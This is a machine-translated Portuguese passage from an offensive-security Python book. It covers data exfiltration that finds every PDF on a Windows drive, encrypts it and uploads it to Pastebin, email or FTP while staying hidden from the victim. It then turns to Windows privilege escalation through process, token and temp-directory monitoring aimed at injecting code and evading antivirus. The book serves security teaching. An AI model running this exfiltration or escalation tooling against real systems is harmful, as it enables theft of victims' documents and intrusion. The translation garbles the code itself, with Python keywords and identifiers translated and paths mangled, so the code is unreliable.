tempo.sono(random.rand.randint(5,10))

A primeira destas funções, wait_for_browser, assegura que o


navegador terminou seus eventos 1, enquanto a segunda função,
random_sleep 2, faz com que o navegador aja de uma forma um tanto
aleatória para não parecer pro-
comportamento gramatical. Ele dorme por um período aleatório de tempo;
isto é projetado para permitir que o navegador execute tarefas que podem
não registrar eventos com o Modelo de Objeto de Documento (DOM) para
sinalizar que eles estão completos. Ele também faz o navegador parecer um
pouco mais humano.
Agora que temos estas funções de auxílio, vamos adicionar a lógica
para lidar com o login e a navegação no painel de controle do Pastebin.
Infelizmente, não há uma maneira rápida e fácil de encontrar elementos
de interface na web (os autores simplesmente passaram 30 minutos
usando Firefox e suas ferramentas de desenvolvimento para inspecionar
cada elemento HTML com o qual precisávamos interagir). Se você quiser
usar um serviço diferente, então você também terá que descobrir o tempo
preciso, as interações DOM e os elementos HTML que são necessários -
felizmente, Python torna a peça de automação muito fácil. Vamos
adicionar mais algum código:

def login(ie):
1 full_doc =
ie.Document.all for elem
in full_doc:
2 if elem.id == 'loginform-username':
elem.setAttribute('valor', nome de
usuário)
elif elem.id == 'loginform-password':
elem.setAttribute('valor', senha)

sono_randômico()
if ie.Document.forms[0].id ==
'w0':
ie.document.forms[0].submit(
)
wait_for_browser(ie)
154 Capítulo
154
A função de login começa com a recuperação de todos os
elementos do DOM 1. Ela procura os campos de nome de usuário e
senha 2 e os define para a cre-
dentials que fornecemos (não se esqueça de se inscrever para uma conta).
Depois deste código
executa, você deve estar logado no painel do Pastebin e pronto para colar
algumas informações. Vamos adicionar esse código agora:

def submit(ie, título, conteúdo):


full_doc = ie.Document.all
for elem in full_doc:
if elem.id == 'postform-name':
elem.setAttribute('valor', título)

Diversão com a filtragem 155


elif elem.id == 'postform-text':
elem.setAttribute('valor', conteúdo)

if ie.Document.forms[0].id == 'w0':
ie.document.forms[0].submit()
random_sleep()
wait_for_browser(ie)

Nada deste código deve parecer muito novo neste momento. Estamos
simplesmente caçando através do DOM para encontrar onde postar o título
e o corpo da postagem no blog. A função submeter recebe uma instância do
navegador, assim como o nome do arquivo e o conteúdo do arquivo
criptografado para postar.
Agora que podemos fazer login e postar no Pastebin, vamos dar os
retoques finais para nosso roteiro:
def ie_paste(título, conteúdo):
1 ie = client.Dispatch('InternetExplorer.Application')
2 ie.Visível = 1

ie.Navigate('https://pastebin.com/login')
wait_for_browser(ie)
login(ie)

ie.Navigate('https://pastebin.com/'
) wait_for_browser(ie)
submit(ie, title, content.decode())

3 ie.Quit()

se nome == ' principal ':


ie_paste('título', 'conteúdo')

A função ie_pastebin é o que chamaremos para cada documento que


queremos armazenar no Pastebin. Primeiro cria uma nova instância do
objeto COM 1 do Internet Explorer. O mais legal é que você pode definir
o processo para ser visível
ou não 2. Para depuração, deixe-o ajustado para 1, mas para máxima
furtividade, você
Isto é realmente útil se, por exemplo, seu tro...
jan detecta outras atividades em curso; nesse caso, você pode começar a
exfiltrar documentos, o que pode ajudar a misturar ainda mais suas
atividades com as do usuário. Depois de chamarmos todas as nossas
funções de ajudante, simplesmente matamos nossa
Internet Explorer instância 3 e retorno.

156 Capítulo
156
Colocando tudo junto
Finalmente, associamos nossos métodos de exfiltração com exfil.py, que
podemos chamar para exfiltrar arquivos usando qualquer um dos métodos
que acabamos de escrever:

1 de criptografia de importação, descriptografar


de e-mail_exfil import outlook, plain_email

Diversão com a filtragem 157


de transmit_exfil import plain_ftp, transmitir
de paste_exfil import ie_paste, plain_paste

importação de

2 EXFIL = {
Perspectivas": Perspectivas,
plain_email': plain_email,
'plain_ftp': plain_ftp,
'transmitir': transmitir,
'ie_paste': ie_paste,
'plain_paste': plain_paste,
}

Primeiro, importe os módulos e funções que você acabou de escrever


1. Depois, crie um dicionário chamado EXFIL cujos valores
correspondem aos func- tos importados 2. Isto tornará muito fácil
chamar as diferentes funções de exfiltração. Os valores são os nomes das
funções, pois, em Python, as funções
são cidadãos de primeira classe e podem ser usados como parâmetros. Esta
técnica é às vezes chamada de despacho de dicionário. Ela funciona muito
como uma declaração de caso em outros idiomas.
Agora precisamos criar uma função que encontre os documentos que
queremos exfiltrar:
def find_docs(doc_type='.pdf'):
1 para pai, _, nomes de arquivo em
os.walk('c:\'): para nome de arquivo
em nomes de arquivo:
se o nome do arquivo.termina com(doc_type):
document_path = os.path.join(parent, filename)
2 yield document_path

O find_docs generator caminha por todo o sistema de arquivos


verificando documentos PDF 1. Quando encontra um, ele retorna o
caminho completo e cede a execução de volta ao chamador 2.
Em seguida, criamos a função principal para orquestrar a exfiltração:
1 def exfiltrate(document_path, método):
2 se método em ['transmitir', 'plain_ftp']:
filename =
f'c:c:janelas.tmp./p.tmp./os.path.basename(document_path)}'.
com open(document_path, 'rb') como
f0: content = f0.read()
com open(filename, 'wb') como f1:
f1.write(encrypt(contents))

158 Capítulo
158
3 EXFIL[method](filena
me)
os.unlink(filename)
senão:
4 com open(document_path, 'rb')
como f: content = f.read()
title = os.path.basename(document_path)
contents = encrypt(contents)
5 EXFIL[método](título, conteúdo)

Diversão com a filtragem 159


Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Passamos a função de exfiltração o caminho para um documento e o


método de exfiltração que queremos usar 1. Quando o método envolve
uma transferência de arquivo (transmitir ou plain_ftp), precisamos
fornecer um arquivo real, não um arquivo codificado.
fio. Nesse caso, lemos no arquivo a partir de sua fonte, codificamos o conteúdo e
escrevemos um novo arquivo em um diretório temporário 2. Chamamos
de EXFIL diction- ary para despachar o método correspondente, passando
no novo caminho de documento criptografado para exfiltrar o arquivo 3
e depois remover o arquivo do diretório temporário.
Para os outros métodos, não precisamos escrever um novo arquivo; em
vez disso, precisamos apenas ler o arquivo para ser exfiltrado 4,
criptografar seu conteúdo e chamar o dicionário EXFIL para enviar por e-
mail ou colar as informações criptografadas 5.
No bloco principal, nós iteramos sobre todos os documentos encontrados.
Como um teste,
nós os exfiltramos através do método plain_paste, embora você possa
escolher qualquer uma das seis funções que definimos:

se nome == ' principal ':


para fpath in
find_docs():
exfiltrate(fpath, 'plain_paste')

Chutando os Pneus
Há muitas peças móveis neste código, mas a ferramenta é bastante fácil de
usar. Basta executar seu script exfil.py de um host e esperar que ele indique
que ele tenha exfiltrado arquivos com sucesso via e-mail, FTP ou Pastebin.
Se você deixou o Internet Explorer visível enquanto executava o
paste_exfile.ie
_colar, você deveria ter sido capaz de assistir a todo o processo. Depois de
concluído, você deve ser capaz de navegar até sua página do Pastebin e ver
algo como a Figura 9-1.

Figura 9-1: Dados ex-filtrados e criptografados no Pastebin


150 Capítulo 9
Perfeito! Nosso exfil.py script pegou um documento PDF chamado
topo_post.pdf, codificou o conteúdo e fez o upload do conteúdo para
pastebin.com. Podemos decodificar o arquivo baixando a pasta e
alimentando-a com a função de decodificação, como a seguir:

de decriptação de importação de criptor


1 com open('topo_post_pdf.txt', 'rb')
como f: content = f.read()
com open('newtopo.pdf', 'wb') como f:
2 f.write(decrypt(contents))

Este trecho de código abre o arquivo de pasta 1 baixado,


descriptografa o conteúdo e escreve o conteúdo descriptografado como
um novo arquivo 2. Você pode então abrir o novo arquivo com um leitor de
PDF para visualizar o mapa topográfico que con...
tingiu o mapa original, desencriptado da máquina da vítima.
Agora você tem várias ferramentas para exfiltração em sua caixa de
ferramentas. Qual delas você seleciona dependerá da natureza da rede da
sua vítima e do nível de segurança utilizado nessa rede.
Diversão com a filtragem 151
10
W IN DOW S PR I V IL EG
E E SC A L AT ION

Então, você abriu uma caixa dentro de uma


rede Windows agradável e suculenta. Talvez
você alavancou um transbordamento remoto
de pilha, ou você phishing seu
entrada. É hora de começar a procurar maneiras
de aumentar os privilégios.
Mesmo que você já esteja operando como SISTEMA ou Administrador,
você provavelmente quer várias maneiras de conseguir esses privilégios,
caso um ciclo de patch mate seu acesso. Também pode ser importante ter
um catálogo de escalas de privilégios em seu bolso traseiro, pois algumas
empresas executam software que pode ser difícil de analisar em seu próprio
ambiente, e você pode não encontrar esse software até estar em uma
empresa do mesmo tamanho ou composição.
Em uma escalada de privilégios típica, você exploraria um driver mal
codificado ou um problema de kernel nativo do Windows, mas se você usar
um exploit de baixa qualidade ou se houver um problema durante a
exploração, você corre o risco de causar instabilidade no sistema. Vamos
explorar alguns outros meios de adquirir privilégios elevados no Windows. Os
administradores de sistemas em grandes empresas costumam programar
tarefas ou serviços que executam processos infantis, ou executar scripts
VBScript ou PowerShell para automatizar atividades. Os vendedores,
também, freqüentemente têm tarefas automatizadas e integradas
que se comportam da mesma maneira. Tentaremos tirar proveito de qualquer
processo de alto privilégio que trate de arquivos ou execute binários que
possam ser escritos por usuários de baixo privilégio. Há inúmeras maneiras de
tentar aumentar os privilégios no Windows, e nós cobriremos apenas algumas
delas. Entretanto, quando você entender esses conceitos centrais, poderá
expandir seus scripts para começar a explorar outros cantos escuros e
mofados de seus alvos do Windows.
Vamos começar aprendendo como aplicar a programação da
Instrumentação de Gerenciamento do Windows (WMI) para criar uma
interface flexível que monitore a criação de novos processos. Vamos coletar
dados úteis como os caminhos dos arquivos, o usuário que criou o processo
e os privilégios habilitados. Depois, entregaremos todos os caminhos de
arquivos a um script de monitoramento de arquivos que continuamente
acompanha quaisquer novos arquivos criados, bem como o que é escrito a
eles. Isto nos informa quais arquivos os processos de alto privilégio estão
acessando. Finalmente, interceptaremos o processo de criação do arquivo
injetando nosso próprio código de scripting no arquivo e faremos com que
o processo de alto privilégio execute uma shell de comando. A beleza de
todo este processo é que ele não envolve nenhum gancho de API, de modo
que podemos voar sob o radar da maioria dos softwares antivírus.

Instalando os Pré-requisitos
Precisamos instalar algumas bibliotecas para escrever as ferramentas
neste capítulo. Execute o seguinte em um shell cmd.exe no Windows:

C:\i> pip install pywin32 wmi pyinstaller

Você pode ter instalado o pyinstaller ao fazer seu keylogger e


screenshot-taker no Capítulo 8, mas se não, instale-o agora (você pode
usar pip). Em seguida, criaremos o serviço de amostra que usaremos para
testar nossos scripts de monitoramento.

Criando o serviço BlackHat Vulnerável


O serviço que estamos criando imita um conjunto de vulnerabilidades
comumente encontradas em grandes redes empresariais. Estaremos
atacando isso mais adiante neste capítulo. Este serviço copiará
periodicamente um script para um diretório temporário e o executará a
partir desse diretório. Abra o bhservice.py para começar:

importação de
shutil import
servicemanager import
shutil
sistema de importação
de subprocessos de
importação

importação win32event
154 Capítulo 10
importação
win32serviceutil
importação
win32serviceutil

SRCDIR = 'C:\TEMP' de trabalho'


TGTDIR = 'C:\TEMP' de janelas

Escalada de Privilégios de Janelas 155


Aqui, fazemos nossas importações, definimos o diretório de origem para
o arquivo de script, e então definimos o diretório de destino onde o serviço o
executará. Agora, vamos criar o serviço real usando uma classe:

classe BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "BlackHatService"
_svc_display_name_ = "Black Hat Service" (Serviço de Chapéu Preto)
_svc_description_ = ("Executa VBScripts em intervalos regulares"). +
" O que poderia dar errado?")

1 def init (self,args):


self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000 * 60

win32serviceutil.ServiceFramework. init (self, args) self.hWaitStop


= win32event.CreateEvent(None, 0, 0, None)

2 def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)

3 def SvcDoRun(self):
self.ReportServiceStatus(win32service.SERVICE_RUNNING)
self.main()

Esta classe é um esqueleto do que qualquer serviço deve


fornecer. Ela herda do win32serviceutil.ServiceFramework e define três
métodos. No método init, inicializamos a estrutura, definimos a
localização do roteiro a ser executado, estabelecemos um tempo de
um minuto e criamos o evento
objeto 1. No método SvcStop, definimos o status do serviço e paramos o
serviço 2. No método SvcDoRun, iniciamos o serviço e chamamos o
método principal no qual nossas tarefas serão executadas 3. Definimos
este método principal em seguida:
def main(self):
1 enquanto Verdadeiro:
ret_code = win32event.WaitForSingleObject(
self.hWaitStop, self.timeout)
2 if ret_code == win32event.WAIT_OBJECT_0:
servicemanager.LogInfoMsg("Serviço está
parando") break
src = os.path.join(SRCDIR, 'bhservice_task.vbs')
shutil.copy(src, self.vbs)
3 subprocesso.call("cscript.exe %s" % self.vbs, shell=False)
os.unlink(self.vbs)

No essencial, criamos um loop 1 que funciona a cada minuto, por causa do self
.timeout, até que o serviço receba o sinal de parada 2. Enquanto estiver
em execução, copiamos o arquivo de script para o diretório de destino,
executamos o script, e removemos o arquivo 3.
No bloco principal, nós lidamos com qualquer argumento de linha de
comando:

156 Capítulo 10
se nome == ' principal ':
se len(sys.argv) ==
1:

Escalada de Privilégios de Janelas 157


Servicemanager.Initialize()
servicemanager.PrepareToHostSingle(BHServerSvc)
servicemanager.StartServiceCtrlDispatcher()
senão:
win32serviceutil.HandleCommandLine(BHServerSvc)

Você pode às vezes querer criar um serviço real em uma máquina vítima.
Esta estrutura do esqueleto lhe dá as linhas gerais de como estruturá-la.
Você pode encontrar o script bhservice_tasks.vbs em https://nostarch.com/black-
hat
-python2E/. Coloque o arquivo em um diretório com bhservice.py e mude
SRCDIR para apontar para este diretório. Seu diretório deve se parecer com
este:

22/06/2020 09:02 09:02 <DIR> .


22/06/2020 09:02 09:02 <DIR> ..
22/06/2020 11:26H 2,099 bhservice.py
22/06/2020 11:08H 2,501 bhservice_task.vbs

Agora crie o serviço executável com o pyinstaller:

C:\i>pyinstaller -F --hiddenimport win32timezone bhservice.py

Este comando salva o arquivo bservice.exe no subdiretório dist. Vamos


mudar para esse diretório para instalar o serviço e começar a usá-lo. Como
Administrador, execute estes comandos:

C:\i> bhservice.exe instalar C:\i> bhservice.exe iniciar

Agora, a cada minuto, o serviço escreverá o arquivo de roteiro em um


diretório temporário, executará o roteiro e excluirá o arquivo. Ele fará isso
até que você execute o comando de parada:

C:\i> bhservice.exe stop

Você pode iniciar ou parar o serviço quantas vezes quiser. Tenha em


mente que se você mudar o código no bhservice.py, você também terá que
criar um novo executável com o pyinstaller e fazer com que o Windows
recarregue o serviço com o comando bhservice update. Quando você terminar
de brincar com o serviço neste capítulo, remova-o com o bhservice remove.
Você deve estar pronto para ir. Agora vamos continuar com a parte
divertida!

Criando um Monitor de Processo


Há vários anos, Justin, um dos autores deste livro, contribuiu para El Jefe, um
projeto do provedor de segurança Imunidade. Em sua essência, o El Jefe é um
sistema muito simples de monitoramento de processos. A ferramenta foi
projetada para ajudar as pessoas em equipes defensivas a rastrear a criação
de processos e a instalação de malware.

158 Capítulo 10
Ao consultar um dia, seu colega de trabalho Mark Wuergler sugeriu que
eles usassem a El Jefe ofensivamente: com ela, eles poderiam monitorar os
processos executados como SISTEMA nas máquinas alvo do Windows. Isto
proporcionaria uma visão do manuseio potencialmente inseguro de
arquivos ou da criação de processos infantis. Funcionou, e eles se afastaram
com inúmeros bugs de escalada de privilégios, dando-lhes as chaves do
reino.
O maior inconveniente do El Jefe original era que ele usava uma DLL,
injetada em cada processo, para interceptar chamadas para a função nativa
CreateProcess. Em seguida, usou um tubo nomeado para se comunicar com o
cliente de coleta, que encaminhou os detalhes da criação do processo para o
servidor de registro. Infelizmente, a maior parte dos softwares antivírus
também engancham as chamadas CreateProcess, de modo que ou eles o vêem
como malware ou você tem problemas de instabilidade do sistema ao
executar o El Jefe lado a lado com o software antivírus.
Vamos recriar algumas das capacidades de monitoramento da El Jefe
de forma descuidada, orientando-a para técnicas ofensivas. Isto deve tornar
nosso mon- itoring portátil e nos dar a capacidade de executá-lo ao lado de
software antivírus sem problemas.

Monitoramento de processos com WMI


O Windows Management Instrumentation (WMI) API dá aos programadores a
capacidade de monitorar um sistema para determinados eventos e depois
receber chamadas de retorno quando esses eventos ocorrem. Vamos
aproveitar esta interface para receber uma chamada de retorno toda vez
que um processo for criado e então registrar algumas informações valiosas: a
hora em que o processo foi criado, o usuário que gerou o processo, o executor
capaz que foi lançado e seus argumentos de linha de comando, o ID do
processo e o ID do processo pai. Isto nos mostrará quaisquer processos criados
por contas de privilégios superiores, e em particular, quaisquer processos
que chamam arquivos externos, como VBScript ou scripts em lote. Quando
tivermos todas estas informações, também determinaremos os privilégios
habilitados nos tokens de processo. Em certos casos raros, você encontrará
processos que foram criados como um usuário regular, mas que receberam
privilégios adicionais do Windows que você pode aproveitar.
Vamos começar escrevendo um roteiro de monitoramento muito
simples que forneça as informações básicas do processo e, em seguida,
construir sobre isso para determinar os privilégios habilitados. Este código foi
adaptado da página do WMI Python (http://timgolden
.me.uk/python/wmi/tutorial.html). Observe que para capturar
informações sobre processos de alta prioridade criados pelo SYSTEM, por
exemplo, você precisará executar seu script de monitoramento como
Administrador. Comece adicionando o código follow- ing ao
process_monitor.py:

importação os
importação sys
importação
win32api
Escalada de Privilégios de Janelas 159
importação
win32con
importação
win32security import
wmi

160 Capítulo 10
def log_to_file(mensagem):
com open('process_monitor_log.csv', 'a') como fd:
fd.write(f'message}\r\n')

def monitor():
head = 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges'
log_to_file(head)
1 c = wmi.WMI()
2 process_watcher = c.Win32_Process.watch_for('criação')
while True:
tente:
3 new_process = process_watcher() cmdline =
new_process.CommandLine create_date =
new_process.CreationDate
executável = new_process.executablePath
parent_pid = new_process.ParentProcessId
pid = new_process.ProcessId
4 proc_owner = new_process.GetOwner()

privilégios = 'N/A'
process_log_message = (
f'{cmdline} , {criar_data} {pídea_parente} , {pídea} ,
{proc_proprietário},' f'{parente_pídea} ,
{proc_proprietário} {privilege}''.
)
print(process_log_message)
print()
log_to_file(process_log_message)
exceto Exceção:
passe

se nome == ' principal ':


monitor()

Começamos por instanciar o WMI classe 1 e dizemos a ele para estar


atento ao evento de criação do processo 2. Entramos então em um loop,
que bloqueia até o processo
_watcher retorna um novo evento de processo 3. O novo evento do processo é um
WMI
classe chamada Win32_Processo que contém todas as informações relevantes que
somos
depois (veja a documentação MSDN online para mais informações sobre o
Win32
_Processo classe WMI). Uma das funções da classe é GetOwner, que
chamamos de 4 para determinar quem desovou o processo. Coletamos
todas as informações do processo que estamos procurando, enviamos para
a tela e registramos em um arquivo.

Chutando os Pneus
Vamos acender o roteiro de monitoramento de processos e criar alguns
processos para ver como é a saída:

C:\iSUÁRIOS TRABALHO>python process_monitor.py


"Calculator.exe",
Escalada de Privilégios de Janelas 161
20200624083538.964492-240 ,
C:\Arquivos de programa
WindowsApps\Microsoft.WindowsCalculator\Calculator.exe, 1204 ,

162 Capítulo 10
10312 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
N/A

notepad ,
20200624083340.325593-240 ,
C:\system32\system32\snotepad.exe,
13184 ,
12788 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
N/A

Depois de executar o script, executamos o notepad.exe e o calc.exe. Como


você pode ver, a ferramenta emite estas informações do processo
corretamente. Agora você poderia fazer uma pausa prolongada, deixar este
script rodar por um dia e capturar registros de todos os processos em
execução, tarefas programadas e várias atualizações de software. Você pode
detectar malware se você tiver (des)sorte. Também é útil entrar e sair do
sistema, pois os eventos gerados a partir destas ações poderiam indicar
processos privilegiados.
Agora que temos o monitoramento básico do processo em vigor,
vamos preencher o campo de privilégios em nossa madeireira. Primeiro,
porém, você deve aprender um pouco sobre como funcionam os
privilégios do Windows e por que eles são importantes.

Privilégios dos Tokens Windows


Um token Windows é, segundo a Microsoft, "um objeto que descreve o texto
de segurança de um processo ou thread" (ver "Tokens de Acesso" em
http://msdn.microsoft.com/). Em outras palavras, as permissões e privilégios do
token determinam quais tarefas um processo ou thread pode realizar.
A incompreensão destas fichas pode colocá-lo em apuros. Como parte de
um produto de segurança, um desenvolvedor bem intencionado pode criar
um aplicativo de bandeja do sistema no qual ele gostaria de dar a um usuário
sem privilégios a capacidade de controlar o serviço principal do Windows,
que é um driver. O desenvolvedor usa a função nativa da API do Windows
AdjustTokenPrivileges no processo e então, inocentemente, concede ao
aplicativo de bandeja do sistema o privilégio SeLoadDriver. O que o
desenvolvedor não percebe é que se você pode subir dentro daquele
aplicativo de bandeja do sistema, agora você tem a capacidade de carregar
ou descarregar qualquer driver que quiser, o que significa que você pode
largar um rootkit em modo kernel - e isso significa que o jogo acabou.
Tenha em mente que se você não pode executar seu monitor de
processo como SISTEMA ou Administrador, então você precisa ficar de olho
em quais processos você é capaz de monitorar. Há algum privilégio
adicional que você possa alavancar? Um processo em execução como
usuário com privilégios errados é uma maneira fantástica de chegar ao
SYSTEM ou executar código no kernel. A tabela 10-1 lista privilégios
interessantes - leges que os autores sempre procuram. Não é exaustivo,
mas serve como um bom ponto de partida. Você pode encontrar uma lista
Escalada de Privilégios de Janelas 163
completa de privilégios no site do MSDN.

164 Capítulo 10
Tabela 10-1: Privilégios interessantes

Nome do Acesso que é


privilégio concedido
SeBackupPrivilege Isto permite que o processo do usuário faça backup de arquivos e
diretórios, e concede acesso READ aos arquivos não importa o
que sua lista de controle de acesso (ACL) defina.
SeDebugPrivilege Isso permite que o usuário possa depurar outros processos. Também
inclui a obtenção de manipulações de processo para injetar DLLs
ou códigos em processos em execução.
SeLoadDriver Isto permite que um processo de usuário carregue ou descarregue
drivers.
Agora que você sabe quais privilégios procurar, vamos aproveitar Python
para recuperar automaticamente os privilégios habilitados nos processos que
estamos moni- toring. Vamos fazer uso dos módulos win32security, win32api e
win32con. Se você encontrar uma situação em que não possa carregar estes
módulos, tente trans- lating todas as seguintes funções em chamadas nativas
usando a biblioteca de ctypes. Isto é possível, embora seja muito mais
trabalho.
Adicione o seguinte código ao process_monitor.py diretamente acima do
existente
função log_to_file:

def get_process_privileges(pid):
tente:
hproc = win32api.OpenProcess( 1
win32con.PROCESS_QUERY_INFORMATION, Falso, pid
)
htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 2
privs = win32security.GetTokenInformation( 3
htok,win32security.TokenPrivileges
)
privilégios = '''
para priv_id, bandeiras em priv_id:
if flags == (win32security.SE_PRIVILEGE_ENABLED | 4
win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT):
privilégios += f'{win32security.LookupPrivilegeName(None, priv_id)}|' 5
exceto Exceção:
privilégios = 'N/A'.

privilégios de
retorno
Utilizamos a identificação do processo para obter uma alça para o
processo alvo 1. A seguir,
abrimos o token de processo 2 e solicitamos as informações token para
esse processo 3 enviando a estrutura win32security.TokenPrivileges. A
chamada de função retorna uma lista de tuplos, onde o primeiro
membro do tuple
é o privilégio e o segundo membro descreve se o privilégio está habilitado ou
não. Como estamos preocupados apenas com os habilitados, primeiro
verificamos se os bits 4 habilitados e depois procuramos os legíveis
para humanos.
nome para esse privilégio 5.
Escalada de Privilégios de Janelas 165
Em seguida, modifique o código existente para produzir corretamente e
registrar esta informação...
ção. Alterar a linha de código

privilégios = "N/A".

166 Capítulo 10
para o seguinte:

privilégios = get_process_privileges(pid)

Agora que adicionamos o código de rastreamento de privilégios, vamos


reexecutar o process_monitor.py script e verificar a saída. Você deve ver as
informações sobre privilégios:

C:\i>python.exe process_monitor.py
"Calculator.exe",
20200624084445.120519-240 ,
C:\Arquivos de programa
WindowsApps\Microsoft.WindowsCalculator\Calculator.exe, 1204 ,
13116 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|

notepad ,
20200624084436.727998-240 ,
C:\system32\system32\snotepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeCreateGl
obalPrivilege

Você pode ver que conseguimos registrar os privilégios habilitados para


estes processos. Agora poderíamos facilmente colocar alguma inteligência no
script para registrar apenas os processos que são executados como um
usuário sem privilégios, mas com privilégios interessantes - os leges
habilitados. Este uso do monitoramento de processos nos permitirá
encontrar processos que dependem de arquivos externos de forma insegura.

Vencer a Corrida
Os scripts Batch, VBScript e PowerShell facilitam a vida dos administradores
de sistemas ao automatizar tarefas monótonas. Eles podem se registrar
continuamente em um serviço central de inventário, por exemplo, ou
forçar atualizações de software de seus próprios repositórios. Um
problema comum é a falta de controles de acesso adequados a esses
arquivos de scripting. Em vários casos, em servidores seguros, encontramos
scripts em lote ou PowerShell que são executados uma vez por dia pelo
usuário do SISTEMA enquanto podem ser gravados globalmente por
qualquer usuário.
Se você executar seu monitor de processo por tempo suficiente em uma
empresa (ou simplesmente instalar o serviço de amostra fornecido no início
deste capítulo), você poderá ver registros de processo que se parecem com
isto:

wscript.exe C:\TEMP\bhservice_task.vbs , 20200624102235.287541-240 , C:\WOW64wscript.exe,2828 ,


17516 , ('NT AUTORITY', 0, 'SYSTEM') , SeLockMemoryPrivilege|SeTcb
Privilege|SeSystemProfilePrivilege|SeProfileSingleProcessPrivilege|SeIncreaseBasePriorityPrivil
Escalada de Privilégios de Janelas 167
ege|SeCreatePagefilePrivilege|SeCreatePermanentPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeCh
angeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivileg
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|SeIncrea
seWorkingSetPrivileg
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege

168 Capítulo 10
Você pode ver que um processo SYSTEM gerou o binário wscript.exe e
passou no parâmetro C:\WINDOWS\TEMP\bhservice_task.vbs. O exemplo de
bhservice que você criou no início do capítulo deve gerar estes eventos uma
vez por minuto.
Mas se você listar o conteúdo do diretório, você não verá este arquivo
pres- ent. Isto porque o serviço cria um arquivo contendo o VBScript e depois
executa e remove esse VBScript. Já vimos esta ação ser executada por
software comercial em vários casos; muitas vezes, o software cria arquivos
em um local temporário, escreve comandos nos arquivos, executa os arquivos
do programa resultante e depois apaga esses arquivos.
A fim de explorar esta condição, temos que ganhar efetivamente uma
corrida contra o código de execução. Quando o software ou tarefa
programada cria o arquivo, precisamos ser capazes de injetar nosso
próprio código no arquivo antes que o processo o execute e delete. O
truque para isso está no prático ReadDirectoryChangesW da API do Windows,
que nos permite monitorar um diretório para quaisquer alterações em
arquivos ou subdiretórios. Também podemos filtrar estes eventos para
que possamos determinar quando o arquivo foi salvo. Dessa forma,
podemos rapidamente injetar nosso código nele antes de ser executado.
Você pode achar que ele é incrementavelmente útil para simplesmente
ficar de olho em todos os diretórios temporários por um período de 24
horas ou mais; às vezes, você encontrará bugs interessantes ou
divulgações de informações além de potenciais escalações de privilégios.
Vamos começar criando um monitor de arquivos. Em seguida, vamos
construir sobre ele um código de injeção automática. Salvar um novo arquivo
chamado file_monitor.py e martelar o seguinte:

# Exemplo modificado que é dado originalmente aqui:


# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.
html.
importação de
arquivos
temporários de
importação
importação
rosqueamento
importação win32con
importação win32file

FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

FILE_LIST_DIRECTORY = 0x0001
1 PATHS = ['c:WINDOWS]Temp', tempfile.gettempdir()

def monitor(path_to_watch):
2 h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,

Escalada de Privilégios de Janelas 169


win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |
win32con.FILE_SHARE_DELETE,
Nenhum,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,

170 Capítulo 10
Nenhum
)
enquanto
Verdad
eiro:
tente:
3 resultados =
win32file.ReadDirectoryChangesW(
h_directory,
1024,
Verdadeiro,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SIZE
Nenhu
m,
nenhum
)
4 para ação, file_name em resultados:
full_filename = os.path.join(path_to_watch, file_name)
se ação == FILE_CREATED:
print(f'[+] Created
{ f u l l _ f i l e n a m e } ') elif action ==
FILE_DELETED:
print(f'[-] Deleted
{ f u l l _ f i l e n a m e } ') elif action ==
FILE_MODIFIED:
print(f'[*] Modified
{ f u l l _ f i l e n a m e } ') try:
print('[vvv] Dumping contents ... ')
5 com open(full_filename)
como f: content = f.read()
imprimir(conteúdo)
print('[^^^] Dump complete.')
exceto Exceção como e:
print(f'[!!!] Dump failed. { e } ')

elif action === FILE_RENAMED_FROM:


print(f'[>] Renomeado de
{ f u l l _ f i l e n a m e } ') elif action ==
FILE_RENAMED_TO:
print(f'[<] Renomeado para
{ f u l l _ f i l e n a m e } '):
print(f'[?] Unknown action on { f u l l _ f i l e n a m e } ')
exceto Exceção:
passe

se nome == ' principal ':


para caminho em
PATHS:
monitor_thread = threading.Thread(target=monitor, args=(path,))
monitor_thread.start()

Escalada de Privilégios de Janelas 171


Definimos uma lista de diretórios que gostaríamos de monitorar 1,
que no nosso caso são os dois diretórios de arquivos temporários comuns.
Talvez você queira ficar de olho em outros lugares, portanto, edite esta
lista como achar melhor.
Para cada um desses caminhos, criaremos um fio de monitoramento
que chama a função start_monitor. A primeira tarefa desta função é adquirir
uma alça para o diretório que desejamos monitorar 2. Em seguida,
chamamos o ReadDirectoryChangesW

172 Capítulo 10
função 3, que nos notifica quando ocorre uma mudança. Recebemos o
arquivo - nome do arquivo alvo alterado e o tipo de evento que
aconteceu 4. A partir daqui, imprimimos informações úteis sobre o que
aconteceu com o arquivo alvo alterado
determinado arquivo, e se detectarmos que foi modificado, descarregaremos
o conteúdo do arquivo para referência 5.

Chutando os Pneus
Abra um shell cmd.exe e execute file_monitor.py:

C:\i>python.exe file_monitor.py

